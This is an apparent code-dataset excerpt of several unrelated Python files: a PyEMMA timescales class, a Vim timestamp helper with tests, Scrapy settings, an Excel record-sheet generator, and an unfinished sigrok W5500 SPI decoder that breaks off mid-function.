def number_of_timescales(self):\n r\"\"\"Return the number of timescales.\n \n \"\"\"\n return self._nits\n\n\n def get_timescales(self, process = None):\n r\"\"\"Returns the implied timescale estimates\n \n Parameters\n ----------\n process : int or None (default)\n index in [0:n-1] referring to the process whose timescale will be returned.\n By default, process = None and all computed process timescales will be returned.\n \n Returns\n --------\n if process is None, will return a (l x k) array, where l is the number of lag times \n and k is the number of computed timescales.\n if process is an integer, will return a (l) array with the selected process time scale\n for every lag time\n \n \"\"\"\n if (process is None):\n return self._its\n else:\n return self._its[:,process]\n\n def samples_available(self):\n r\"\"\"Returns True if samples are available and thus sample\n means, standard errors and confidence intervals can be\n obtained\n \n \"\"\"\n return (self._its_samples != None)\n\n\n def get_sample_mean(self, process = None):\n r\"\"\"Returns the sample means of implied timescales. Need to\n generate the samples first, e.g. by calling bootstrap\n \n Parameters\n ----------\n process : int or None (default)\n index in [0:n-1] referring to the process whose timescale will be returned.\n By default, process = None and all computed process timescales will be returned.\n \n Returns\n -------\n if process is None, will return a (l x k) array, where l is the number of lag times \n and k is the number of computed timescales.\n if process is an integer, will return a (l) array with the selected process time scale\n for every lag time\n \n \"\"\"\n if (self._its_samples is None):\n raise RuntimeError('Cannot compute sample mean, because no samples were generated '+\n ' try calling bootstrap() before')\n # OK, go:\n if (process is None):\n return np.mean(self._its_samples, axis = 2)\n else:\n return np.mean(self._its_samples[:,process,:], axis = 1)\n\n\n def get_sample_std(self, process = None):\n r\"\"\"Returns the sample means of implied timescales. Need to\n generate the samples first, e.g. by calling bootstrap\n \n Parameters\n -----------\n process : int or None (default)\n index in [0:n-1] referring to the process whose timescale will be returned.\n By default, process = None and all computed process timescales will be returned.\n \n Returns\n -------\n if process is None, will return a (l x k) array, where l is the number of lag times \n and k is the number of computed timescales.\n if process is an integer, will return a (l) array with the selected process time scale\n for every lag time\n \n \"\"\"\n if (self._its_samples is None):\n raise RuntimeError('Cannot compute sample mean, because no samples were generated '+\n ' try calling bootstrap() before')\n # OK, go:\n if (process is None):\n return np.std(self._its_samples, axis = 2)\n else:\n return np.std(self._its_samples[:,process,:], axis = 1)\n\n\n def get_sample_conf(self, alpha = 0.6827, process = None):\n r\"\"\"Returns the confidence interval that contains alpha % of the sample data\n \n Use:\n alpha = 0.6827 for 1-sigma confidence interval\n alpha = 0.9545 for 2-sigma confidence interval\n alpha = 0.9973 for 3-sigma confidence interval\n etc.\n \n Returns\n -------\n (L,R) : (float[],float[]) or (float[][],float[][])\n lower and upper timescales bounding the confidence interval\n if process is None, will return two (l x k) arrays, where l is the number of lag times \n and k is the number of computed timescales.\n if process is an integer, will return two (l)-arrays with the\n selected process time scale for every lag time\n \n \"\"\"\n if (self._its_samples is None):\n raise RuntimeError('Cannot compute sample mean, because no samples were generated '+\n ' try calling bootstrap() before')\n # OK, go:\n if (process is None):\n L = np.zeros((len(self._lags), self._nits))\n R = np.zeros((len(self._lags), self._nits))\n for i in range(len(self._lags)):\n for j in range(self._nits):\n conf = confidence_interval(self._its_samples[i,j], alpha)\n L[i,j] = conf[1]\n R[i,j] = conf[2]\n return (L,R)\n else:\n L = np.zeros(len(self._lags))\n R = np.zeros(len(self._lags))\n for i in range(len(self._lags)):\n conf = confidence_interval(self._its_samples[i,process], alpha)\n L[i] = conf[1]\n R[i] = conf[2]\n return (L,R)\n","sub_path":"pyemma/msm/ui/timescales.py","file_name":"timescales.py","file_ext":"py","file_size_in_byte":11061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"377200169","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport time\nimport re\nimport unittest\n\nzncz_pocz = 'godz_pocz'\nzncz_kon = 'godz_kon'\n\netkt_pocz = 'BEGIN:'\netkt_kon = 'END:'\nznak_daty_pocz = 7\nznak_daty_kon = 32\nrozmiar_daty = 19\n\nwzorcowa_data_pocz = 'BEGIN: 2012.12.29_13.01.23 END: 0000.00.00_00.00.00'\nsama_wzorcowa_data = '2012.12.29_13.01.23'\ninna_wzorcowa_data = '2012.12.29_13.52.09'\n\npusty_czas = '0000.00.00_00.00.00'\n\nznane_wzorce = frozenset([zncz_pocz, zncz_kon])\n\ndef wstaw_na_pozycji(linia, wspx, Teraz):\n pocz = linia[:wspx + 1]\n kon = linia[wspx + 1:]\n wynik = pocz + Teraz + kon\n return wynik\n\ndef pobierz_czas(wzorzec):\n return time.strftime(wzorzec, time.localtime(time.time()))\n\ndef wstaw_date_z_dzis(vim):\n linia = vim.current.line\n Teraz = pobierz_czas('%Y.%m.%d')\n wspy, wspx = vim.current.window.cursor\n wynik = wstaw_na_pozycji(linia, wspx, Teraz)\n wspx += len(Teraz)\n vim.current.line = wynik\n vim.current.window.cursor = wspy, wspx\n\ndef jestem_w_ostatniej_linii(vim):\n wspy, wspx = vim.current.window.cursor\n return wspy == len(vim.current.buffer)\n\ndef kursor_w_dol(vim):\n wspy, wspx = vim.current.window.cursor\n wspy += 1\n vim.current.window.cursor = wspy, wspx\n\ndef rozepchnij_ponizej_i_wstaw(vim, napis):\n nr_linii, _ = vim.current.window.cursor\n vim.current.buffer[nr_linii + 1:] = vim.current.buffer[nr_linii:]\n vim.current.buffer[nr_linii] = napis\n\ndef dolacz_na_koncu_pliku(vim, napis):\n vim.current.buffer.append(napis)\n\ndef wstaw_ponizej_tresc_linii(vim, napis):\n if jestem_w_ostatniej_linii(vim):\n dolacz_na_koncu_pliku(vim, napis)\n else:\n rozepchnij_ponizej_i_wstaw(vim, napis)\n kursor_w_dol(vim)\n\ndef moment_czasowy():\n return pobierz_czas('%Y.%m.%d_%H.%M.%S')\n\ndef wyznacz_tresc_poczatkowa():\n return ''.join([etkt_pocz, ' ', moment_czasowy(), ' ', etkt_kon, ' ', pusty_czas])\n\ndef kursor_na_koniec_linii(vim):\n wspy, wspx = vim.current.window.cursor\n wspx = len(vim.current.line) - 1\n vim.current.window.cursor = wspy, wspx\n\ndef mamy_linie_miernicza(vim):\n return ksztalt_linii_mierniczej(vim.current.line)\n\ndef miarka_ma_zakonczenie(napis):\n return wytnij_kon(napis) != pusty_czas\n\ndef linia_jest_pelna(vim):\n return miarka_ma_zakonczenie(vim.current.line)\n\ndef aktywnie_wstaw_poczatek_pomiaru(vim):\n poczatkowy = wyznacz_tresc_poczatkowa()\n wstaw_ponizej_tresc_linii(vim, poczatkowy)\n kursor_na_koniec_linii(vim)\n\ndef stempel_poczatkowy(vim):\n if not mamy_linie_miernicza(vim) or linia_jest_pelna(vim):\n aktywnie_wstaw_poczatek_pomiaru(vim)\n\ndef wstaw_date_koncowa(vim):\n vim.current.line = vim.current.line[:znak_daty_kon] + moment_czasowy()\n\ndef stempel_koncowy(vim):\n if mamy_linie_miernicza(vim) and not linia_jest_pelna(vim):\n wstaw_date_koncowa(vim)\n\ndef obsluga_stempli_czasowych(rodzaj, vim):\n if rodzaj == zncz_pocz:\n stempel_poczatkowy(vim)\n elif rodzaj == zncz_kon:\n stempel_koncowy(vim)\n else:\n raise RuntimeError(rodzaj)\n\ndef wykonaj(rodzaj, vim):\n if rodzaj in znane_wzorce:\n obsluga_stempli_czasowych(rodzaj, vim)\n else:\n wstaw_date_z_dzis(vim)\n\nformat_linii = r'''\nBEGIN:\n\\s # Spacja po słowie BEGIN\n\\d{4} # Rok\n\\. # Kropka\n\\d{2} # Miesiąc\n\\. # Kropka\n\\d{2} # Dzień\n_ # Oddzielenie dnia od godziny\n\\d{2} # Godzina\n\\. # Kropka\n\\d{2} # Minuta\n\\. # Kropka\n\\d{2} # Sekunda\n\\s # Spacja po dacie początkowej\nEND:\n\\s # Spacja po słowie END\n\\d{4} # Rok\n\\. # Kropka\n\\d{2} # Miesiąc\n\\. # Kropka\n\\d{2} # Dzień\n_ # Oddzielenie dnia od godziny\n\\d{2} # Godzina\n\\. # Kropka\n\\d{2} # Minuta\n\\. # Kropka\n\\d{2} # Sekunda\n$ # Koniec tekstu\n'''\n\nwzor = re.compile(format_linii, re.VERBOSE)\n\ndef data_od_znaku(napis, nr_pocz):\n return napis[nr_pocz:nr_pocz + rozmiar_daty]\n\ndef wytnij_pocz(napis):\n return data_od_znaku(napis, znak_daty_pocz)\n\ndef wytnij_kon(napis):\n return data_od_znaku(napis, znak_daty_kon)\n\ndef ksztalt_linii_mierniczej(napis):\n return wzor.match(napis)\n\ndef wyznacz_krotke_czasu(napis):\n return map(int, [\n napis[0:4],\n napis[5:7],\n napis[8:10],\n napis[11:13],\n napis[14:16],\n napis[17:19],\n ])\n\ndef wyznacz_moment(napis):\n paczka_do_sekundy = wyznacz_krotke_czasu(napis)\n razem = paczka_do_sekundy + [0, 0, 0]\n return int(time.mktime(razem))\n\ndef wyznacz_jeden_kawalek(label, yyyy_mm, day):\n return ''.join([\n label,\n ' ',\n yyyy_mm,\n '.',\n '%02d' % day,\n '_',\n '00.00',\n '.00',\n ])\n\ndef wyznacz_linie_dnia(yyyy_mm, day):\n return ''.join([\n wyznacz_jeden_kawalek(etkt_pocz, yyyy_mm, day),\n ' ',\n wyznacz_jeden_kawalek(etkt_kon, yyyy_mm, day),\n ])\n\nclass TestRdzeniaDlaEdytora(unittest.TestCase):\n\n def test_lokalnej_paczki_danych(self):\n '''\n TestRdzeniaDlaEdytora:\n '''\n self.assertEqual(wstaw_na_pozycji('abcd', 1, 'x'), 'abxcd')\n self.assertEqual(len(moment_czasowy()), rozmiar_daty)\n\n def test_formatu_linii(self):\n '''\n TestRdzeniaDlaEdytora:\n '''\n self.assertTrue(ksztalt_linii_mierniczej(wzorcowa_data_pocz))\n wyznaczony_napis = wyznacz_tresc_poczatkowa()\n self.assertTrue(ksztalt_linii_mierniczej(wyznaczony_napis))\n self.assertEqual(wytnij_pocz(wzorcowa_data_pocz), sama_wzorcowa_data)\n self.assertEqual(wytnij_kon(wzorcowa_data_pocz), '0000.00.00_00.00.00')\n self.assertEqual(wyznacz_krotke_czasu(sama_wzorcowa_data), [2012, 12, 29, 13, 1, 23])\n self.assertEqual(wyznacz_krotke_czasu(inna_wzorcowa_data), [2012, 12, 29, 13, 52, 9])\n self.assertEqual(wyznacz_moment(sama_wzorcowa_data), 1356782483)\n\n def test_szkieletu_miesiaca(self):\n '''\n TestRdzeniaDlaEdytora:\n '''\n odp = wyznacz_jeden_kawalek(etkt_pocz, '2012.10', 31)\n self.assertEqual(odp,\n 'BEGIN: 2012.10.31_00.00.00')\n odp = wyznacz_linie_dnia('2013.11', 1)\n self.assertEqual(odp,\n 'BEGIN: 2013.11.01_00.00.00 END: 2013.11.01_00.00.00')\n odp = wyznacz_linie_dnia('2013.12', 1)\n self.assertEqual(odp,\n 'BEGIN: 2013.12.01_00.00.00 END: 2013.12.01_00.00.00')\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"rdzen_vim.py","file_name":"rdzen_vim.py","file_ext":"py","file_size_in_byte":6361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"535009771","text":"# -*- coding: utf-8 -*-\n# Scrapy settings for Zeus project\n#\n# For simplicity, this file contains only settings considered important or\n# commonly used. You can find more settings consulting the documentation:\n#\n# https://docs.scrapy.org/en/latest/topics/settings.html\n# https://docs.scrapy.org/en/latest/topics/downloader-middleware.html\n# https://docs.scrapy.org/en/latest/topics/spider-middleware.html\n\nimport datetime\n\n\nBOT_NAME = 'Zeus'\n\nSPIDER_MODULES = ['Zeus.spiders']\nNEWSPIDER_MODULE = 'Zeus.spiders'\n\n# 日志等级分为\n# 1.DEBUG 调试信息\n# 2.INFO 一般信息\n# 3.WARNING 警告\n# 4.ERROR 普通错误\n# 5.CRITICAL 严重错误\n# 如果设置,LOG_LEVEL=\"WARNING\",就只会WARNING等级之下的ERROR和CRITICAL,默认等级是1\ntoday = datetime.datetime.now()\nlog_file_path = 'Log/wangyouzipai_{}{}{}_{}{}.log'.format('%02d' % today.year,\n '%02d' % today.month,\n '%02d' % today.day,\n '%02d' % today.hour,\n '%02d' % today.minute)\nLOG_LEVEL = 'DEBUG'\nLOG_FILE = log_file_path\n\n# Crawl responsibly by identifying yourself (and your website) on the user-agent\n#USER_AGENT = 'Zeus (+http://www.yourdomain.com)'\nUSER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36'\n\n# Obey robots.txt rules\nROBOTSTXT_OBEY = False\n\n# Configure maximum concurrent requests performed by Scrapy (default: 16)\n#CONCURRENT_REQUESTS = 32\nCONCURRENT_REQUESTS = 1\n\n# Configure a delay for requests for the same website (default: 0)\n# See https://docs.scrapy.org/en/latest/topics/settings.html#download-delay\n# See also autothrottle settings and docs\n#DOWNLOAD_DELAY = 3\nDOWNLOAD_DELAY = 1\n\n# The download delay setting will honor only one of:\n#CONCURRENT_REQUESTS_PER_DOMAIN = 16\n#CONCURRENT_REQUESTS_PER_IP = 16\n\n# Disable cookies (enabled by default)\n#COOKIES_ENABLED = False\n\n# Disable Telnet Console (enabled by default)\n#TELNETCONSOLE_ENABLED = False\n\n# Override the default request headers:\n#DEFAULT_REQUEST_HEADERS = {\n# 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n# 'Accept-Language': 'en',\n#}\nDEFAULT_REQUEST_HEADERS = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'cache-control': 'max-age=0',\n}\n\n# Enable or disable spider middlewares\n# See https://docs.scrapy.org/en/latest/topics/spider-middleware.html\n#SPIDER_MIDDLEWARES = {\n# 'Zeus.middlewares.ZeusSpiderMiddleware': 543,\n#}\n\n# Enable or disable downloader middlewares\n# See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html\nDOWNLOADER_MIDDLEWARES = {\n # 'Zeus.middlewares.ZeusDownloaderMiddleware': 543,\n 'Zeus.middlewares.RandomUserAgentMiddleware': None,\n}\n\n# Enable or disable extensions\n# See https://docs.scrapy.org/en/latest/topics/extensions.html\n#EXTENSIONS = {\n# 'scrapy.extensions.telnet.TelnetConsole': None,\n#}\n\n# Configure item pipelines\n# See https://docs.scrapy.org/en/latest/topics/item-pipeline.html\nITEM_PIPELINES = {\n # 'Zeus.pipelines.ZeusPipeline': 300,\n # 'scrapy.pipelines.images.ImagesPipeline': 1,\n 'Zeus.pipelines.ZeusImageSavePipeline': 300,\n}\n\n# Enable and configure the AutoThrottle extension (disabled by default)\n# See https://docs.scrapy.org/en/latest/topics/autothrottle.html\n#AUTOTHROTTLE_ENABLED = True\n# The initial download delay\n#AUTOTHROTTLE_START_DELAY = 5\n# The maximum download delay to be set in case of high latencies\n#AUTOTHROTTLE_MAX_DELAY = 60\n# The average number of requests Scrapy should be sending in parallel to\n# each remote server\n#AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0\n# Enable showing throttling stats for every response received:\n#AUTOTHROTTLE_DEBUG = False\n\n# Enable and configure HTTP caching (disabled by default)\n# See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings\n#HTTPCACHE_ENABLED = True\n#HTTPCACHE_EXPIRATION_SECS = 0\n#HTTPCACHE_DIR = 'httpcache'\n#HTTPCACHE_IGNORE_HTTP_CODES = []\n#HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'\n\n# 处理中文json和txt乱码\n# 保存json和txt文件,出现这种东西不是乱码,是unicode,例如:\n# \\u96a8\\u6642\\u66f4\\u65b0> \\u25a0\\u25a0\\u25a\n# 在settings.py文件中加入下面一句code,之后就是中文了。\n# FEED_EXPORT_ENCODING ='utf-8'\n\n# 处理中文csv乱码\n# 保存csv表格文件时,会出现中文乱码,这个确实是乱码,例如:\n# 瀵掑啲瀹濈彔鎶勮鎴愬姛 鐖嗗彂浼ゅ 40涓?寮€蹇冧竴涓?\n# 在settings.py文件中加入下面一句code,表格就是中文了\n# FEED_EXPORT_ENCODING = 'gb18030'\n# 所以,编程时,只要有中文,把上面两句直接先复制在settings文件里,生成文件时就不会错了\n\n# 下载文件的设置\nIMAGES_STORE = '.\\\\Cute'\n","sub_path":"Zeus/Zeus/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"143369230","text":"import pandas as pd\nimport win32com.client as win32\nimport sys\nfrom datetime import datetime\nimport os\nimport shutil\nimport pysnooper\nimport traceback\nimport copy\n\n\nclass recoder_process:\n def __init__(self,t_path=None,export_path=None):\n if export_path is not None:\n self._ex_path=export_path\n else:\n self._ex_path=None\n if t_path is not None:\n self._template_path=t_path\n else:\n self._template_path=None\n \n self._exception=False,''\n try:\n self._excel=win32.gencache.EnsureDispatch('Excel.Application')\n except:\n self._exception = True, '无法获取excel应用程序,请确认已经安装了office excel'\n self._wb=None\n self._ws=None\n\n self._startrow=2\n self._cur_startrow=self._startrow\n self._startcolumn='A'\n self._cur_startcolumn = self._startcolumn\n self._startcolumnMax='O'\n\n self._endrow = 9\n self._cur_endrow = self._endrow\n self._endcolumn = 'G'\n self._cur_endcolumn = self._endcolumn\n self._endcolumnMax='U'\n self._init_data=[\n ['产品名称:1型监控屏', None, None, '序列号: ', None, '版本:', None],\n ['部件名称', '供货商', '识别号', '部件版 本', 'PCB版本', '序列号', '备注'],\n ['电源板', 'SRI', '701050000477100', None, None, None, None],\n ['CPU板', '研华', '500001852710002', None, None, None, None],\n ['液晶屏', '京东方', '500000315440005', '/', None, None, None],\n ['AD板', '京东方', '500000116710000', '/', None, None, None],\n ['驱动板', '京东方', '500000103620003', '/', None, None, None],\n ['触摸屏', '京东方', '500000310410002', '/', None, None, None]]\n self._template_data=None #模板一页的空数据只保留格式\n self._current_data=copy.deepcopy(self._init_data)\n self._all_data=[]\n def init_data(self):\n self._cur_endrow = self._endrow\n self._cur_startrow = self._startrow\n self._cur_startcolumn = self._startcolumn\n self._cur_endcolumn = self._endcolumn\n self._current_data = copy.deepcopy(self._init_data)\n def add_current_data(self):\n self._all_data.append(self._current_data)\n @property\n def all_data(self):\n return self._all_data\n @all_data.setter\n def all_data(self,value):\n self._all_data=value\n @property\n def template_path(self):\n return self._template_path\n @template_path.setter\n def template_path(self,value):\n self._template_path=value\n @property\n def ex_path(self):\n return self._ex_path\n @ex_path.setter\n def ex_path(self,value):\n self._ex_path=value\n \n @property\n def current_data(self):\n return self._current_data\n @current_data.setter \n def current_data(self,value):\n self._current_data=value\n \n @property\n def exception(self):\n return self._exception\n\n @pysnooper.snoop('debug.log', depth=2)\n def get_excel_obj(self,path):\n \"\"\"\n\n :param path: 模板表格路径\n :return: 返回模板表格对象\n \"\"\"\n\n try:\n if self._wb is not None:\n self._wb.Close()\n self._wb = self._excel.Workbooks.Open(path)\n self._excel.Visible = False\n self._ws=self._wb.Worksheets('记录表')\n self._template_data=self._ws.Range('A1:G44').Value\n self._excel.CutCopyMode = False\n except Exception as e:\n print(e)\n self._exception = True, '模板文件对象获取失败,请确认模板文件是否存在!'\n\n @pysnooper.snoop('debug.log', depth=2)\n def create_new_file(self):\n\n file = f'{datetime.now().strftime(\"%Y-%m-%d %H %M %S\")}.xls'\n self.init_data()\n if self._ex_path is not None:\n shutil.copyfile(self._template_path,os.path.join(self._ex_path,file))\n else:\n self._exception = True, '输出文件路径不存在'\n self.get_excel_obj(os.path.join(self._ex_path,file))\n def read_recordersheet(self):\n return self._ws.Range(\"A1:G9\").Value\n\n @pysnooper.snoop('debug.log', depth=2)\n def copy_recoderformate(self,startcolumn:str,endcolumn:str):\n self._ws.Range(f\"A1:G44\").Copy()\n target=self._ws.Range(f\"{startcolumn}1:{endcolumn}44\")\n target.PasteSpecial(8,-4142)\n target.PasteSpecial(13,-4142)\n # 黏贴空数据\n target.Value=self._template_data\n # def init_currentData(self):\n # self._current_data=self._init_data\n @pysnooper.snoop('debug.log', depth=2)\n def write_recordersheet(self,data):\n '''\n\n :param data: 修改的数据\n :return:\n '''\n try:\n \n r=f'{self._cur_startcolumn}{self._cur_startrow}:{self._cur_endcolumn}{self._cur_endrow}'\n self._ws.Range(r).Value=data\n if self._cur_startrow>=29:\n # 如果第一页填满了换页\n self._cur_startrow=self._startrow\n self._cur_endrow=self._endrow\n if self._cur_startcolumn>='O':\n #每个文件最��三页,三页后新建一个文件\n self.savefile()\n self.create_new_file()\n return\n self._cur_startcolumn=chr(ord(self._cur_startcolumn)+7)\n self._cur_endcolumn=chr(ord(self._cur_endcolumn)+7)\n # 新建一页空数据\n self.copy_recoderformate(self._cur_startcolumn,self._cur_endcolumn)\n\n else:\n self._cur_startrow+=9\n self._cur_endrow +=9\n print(f'{self._cur_startcolumn}{self._cur_startrow}:{self._cur_endcolumn}{self._cur_endrow}')\n except:\n a = traceback.format_exc(limit=1)\n def savefile(self):\n self._wb.Save()\n def quit(self):\n self.savefile()\n self._excel.Application.Quit()\n\n# a=recoder_process('E:\\myproject\\智能工作台',r'E:\\myproject\\智能工作台\\1.xls')\n# if a.exception[0]:\n# print(a.exception[1])\n# sys.exit(0)\n# a.create_new_file()\n# if a.exception[0]:\n# print(a.exception[1])\n# a.quit()\n# sys.exit(0)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n# a.write_recordersheet(None)\n\n# a.quit()\n\n","sub_path":"temp/gernerate_recorder.py","file_name":"gernerate_recorder.py","file_ext":"py","file_size_in_byte":6893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"222750763","text":"##\n## This file is part of the libsigrokdecode project.\n##\n## Copyright (C) 2018 Carlos Diaz \n##\n## This program is free software; you can redistribute it and/or modify\n## it under the terms of the GNU General Public License as published by\n## the Free Software Foundation; either version 2 of the License, or\n## (at your option) any later version.\n##\n## This program is distributed in the hope that it will be useful,\n## but WITHOUT ANY WARRANTY; without even the implied warranty of\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n## GNU General Public License for more details.\n##\n## You should have received a copy of the GNU General Public License\n## along with this program; if not, see .\n##\n\nimport sigrokdecode as srd\n\nclass ChannelError(Exception):\n pass\n\ncommon_regs = {\n# addr: ('name', size)\n 0x00: ('MODE', 1),\n 0x01: ('GATEWAY_ADDR', 4),\n 0x05: ('SUBMASK_ADDR', 4),\n 0x09: ('SOURCE_HW_ADDR',4),\n 0x0F: ('SOURCE_IP_ADDR',4),\n 0x13: ('INTERRUPT_LOW_LEVEL_TIMER', 2),\n \n}\n\nsocket_regs = {\n 0x0000: ('SOCKET {} MODE', 1),\n 0x0001: ('SOCKET {} COMMAND', 1),\n 0x0002: ('SOCKET {} INTERRUPT', 1),\n 0x0003: ('SOCKET {} STATUS', 1),\n 0x0004: ('SOCKET {} SOURCE PORT', 2),\n 0x0006: ('SOCKET {} DESTINATION HW ADDR', 4),\n 0x000C: ('SOCKET {} DESTINATION IP ADDR', 4),\n 0x0012: ('SOCKET {} MAXIMUM SEGMENT SIZE', 2),\n 0x0015: ('SOCKET {} IP TOS', 1),\n 0x0016: ('SOCKET {} IP TTL', 1),\n 0x001E: ('SOCKET {} RECEIVE BUFFER SIZE', 1),\n 0x001F: ('SOCKET {} TRANSMIT BUFFER SIZE', 1),\n 0x0020: ('SOCKET {} TX FREE SIZE', 2),\n 0x0022: ('SOCKET {} TX READ POINTER', 2),\n 0x0024: ('SOCKET {} TX WRITE POINTER', 2),\n 0x0026: ('SOCKET {} RX RECEIVED SIZE', 2),\n 0x0028: ('SOCKET {} RX READ POINTER', 2),\n 0x002A: ('SOCKET {} RX WRITE POINTER', 2),\n 0x002C: ('SOCKET {} INTERRUPT MASK', 1),\n 0x002D: ('SOCKET {} FRAGMENT OFFSET IN IP HEADER', 2),\n 0x002F: ('SOCKET {} KEEP ALIVE TIMER', 1),\n}\n\nclass Decoder(srd.Decoder):\n api_version = 3\n id = 'W5500'\n name = 'W5500'\n longname = 'Wiznet W5500'\n desc = 'TCP/IP Stack chip.'\n license = 'gplv2+'\n inputs = ['spi']\n outputs = ['W5500']\n \"\"\"\n To decode spi we need the following signals\n \n channels = (\n {'id': 'clk', 'name': 'CLK', 'desc': 'Clock'},\n {'id': 'mosi', 'name': 'MOSI', 'desc': 'MOSI'},\n {'id': 'miso', 'name': 'MISO', 'desc': 'MISO'},\n {'id': 'cs', 'name': 'CS#', 'desc': 'Slave Select'},\n )\n \"\"\"\n annotations = (\n # Sent from the host to the chip.\n ('cmd', 'Commands sent to the device'),\n ('tx-data', 'Payload sent to the device'),\n\n # Returned by the chip.\n ('register', 'Registers read from the device'),\n ('rx-data', 'Payload read from the device'),\n\n ('warning', 'Warnings'),\n )\n ann_cmd = 0\n ann_tx = 1\n ann_reg = 2\n ann_rx = 3\n ann_warn = 4\n annotation_rows = (\n ('commands', 'Commands', (ann_cmd, ann_tx)),\n ('responses', 'Responses', (ann_reg, ann_rx)),\n ('warnings', 'Warnings', (ann_warn,)),\n )\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.next()\n self.requirements_met = True\n self.cs_was_released = False\n\n def start(self):\n self.out_ann = self.register(srd.OUTPUT_ANN)\n if self.options['chip'] == 'xn297':\n regs.update(xn297_regs)\n\n def warn(self, pos, msg):\n '''Put a warning message 'msg' at 'pos'.'''\n self.put(pos[0], pos[1], self.out_ann, [self.ann_warn, [msg]])\n\n def putp(self, pos, ann, msg):\n '''Put an annotation message 'msg' at 'pos'.'''\n self.put(pos[0], pos[1], self.out_ann, [ann, [msg]])\n\n def next(self):\n '''Resets the decoder after a complete command was decoded.'''\n # 'True' for the first byte after CS went low.\n self.first = True\n\n # The current command, and the minimum and maximum number\n # of data bytes to follow.\n self.cmd = None\n self.min = 0\n self.max = 0\n\n # Used to collect the bytes after the command byte\n # (and the start/end sample number).\n self.mb = []\n self.mb_s = -1\n self.mb_e = -1\n\n def mosi_bytes(self):\n '''Returns the collected MOSI bytes of a multi byte command.'''\n return [b[0] for b in self.mb]\n\n def miso_bytes(self):\n '''Returns the collected MISO bytes of a multi byte command.'''\n return [b[1] for b in self.mb]\n\n def decode_command(self, pos, b):\n '''Decodes the command byte 'b' at position 'pos' and prepares\n the decoding of the following data bytes.'''\n c = self.parse_command(b)\n if c is None:\n self.warn(pos, 'unknown command')\n return\n\n self.cmd, self.dat, self.min, self.max = c\n\n if self.cmd in ('W_REGISTER', 'ACTIVATE'):\n # Don't output anything now, the command is merged with\n # the data bytes following it.\n self.mb_s = pos[0]\n else:\n self.putp(pos, self.ann_cmd, self.format_command())\n\n def format_command(self):\n '''Returns the label for the current command.'''\n if self.cmd == 'R_REGISTER':\n reg = regs[self.dat][0] if self.dat in regs else 'unknown register'\n return 'Cmd R_REGISTER \"{}\"'.format(reg)\n else:\n return 'Cmd {}'.format(self.cmd)\n\n def parse_command(self, b):\n '''Parses the command byte.\n\n Returns a tuple consisting of:\n - the name of the command\n - additional data needed to dissect the following bytes\n - minimum number of following bytes\n - maximum number of following bytes\n '''\n\n if (b & 0xe0) in (0b00000000, 0b00100000):\n c = 'R_REGISTER' if not (b & 0xe0) else 'W_REGISTER'\n d = b & 0x1f\n m = regs[d][1] if d in regs else 1\n return (c, d, 1, m)\n if b == 0b01010000:\n # nRF24L01 only\n return ('ACTIVATE', None, 1, 1)\n if b == 0b01100001:\n return ('R_RX_PAYLOAD', None, 1, 32)\n if b == 0b01100000:\n return ('R_RX_PL_WID', None, 1, 1)\n if b == 0b10100000:\n return ('W_TX_PAYLOAD', None, 1, 32)\n if b == 0b10110000:\n return ('W_TX_PAYLOAD_NOACK', None, 1, 32)\n if (b & 0xf8) == 0b10101000:\n return ('W_ACK_PAYLOAD', b & 0x07, 1, 32)\n if b == 0b11100001:\n return ('FLUSH_TX', None, 0, 0)\n if b == 0b11100010:\n return ('FLUSH_RX', None, 0, 0)\n if b == 0b11100011:\n return ('REUSE_TX_PL', None, 0, 0)\n if b == 0b11111111:\n return ('NOP', None, 0, 0)\n\n def decode_register(self, pos, ann, regid, data):\n '''Decodes a register.\n\n pos -- start and end sample numbers of the register\n ann -- is the annotation number that is used to output the register.\n regid -- may be either an integer used as a key for the 'regs'\n dictionary, or a string directly containing a register name.'\n data -- is the register content.\n '''\n\n if type(regid) == int:\n # Get the name of the register.\n if regid not in regs:\n self.warn(pos, 'unknown register')\n return\n name = regs[regid][0]\n else:\n name = regid\n\n # Multi byte register come LSByte first.\n data = reversed(data)\n\n if self.cmd == 'W_REGISTER' and ann == self.ann_cmd:\n # The 'W_REGISTER' command is merged with the following byte(s).\n label = '{}: {}'.format(self.format_command(), name)\n else:\n label = 'Reg {}'.format(name)\n\n self.decode_mb_data(pos, ann, data, label, True)\n\n def decode_mb_data(self, pos, ann, data, label, always_hex):\n '''Decodes the data bytes 'data' of a multibyte command at position\n 'pos'. The decoded data is prefixed with 'label'. If 'always_hex' is\n True, all bytes are decoded as hex codes, otherwise only non\n printable characters are escaped.'''\n\n if always_hex:\n def escape(b):\n return '{:02X}'.format(b)\n else:\n def escape(b):\n c = chr(b)\n if not str.isprintable(c):\n return '\\\\x{:02X}'.format(b)\n return c\n\n data = ''.join([escape(b) for b in data])\n text = '{} = \"{}\"'.format(label, data)\n self.putp(pos, ann, text)\n\n def finish_command(self, pos):\n '''Decodes the remaining data bytes at position 'pos'.'''\n\n if 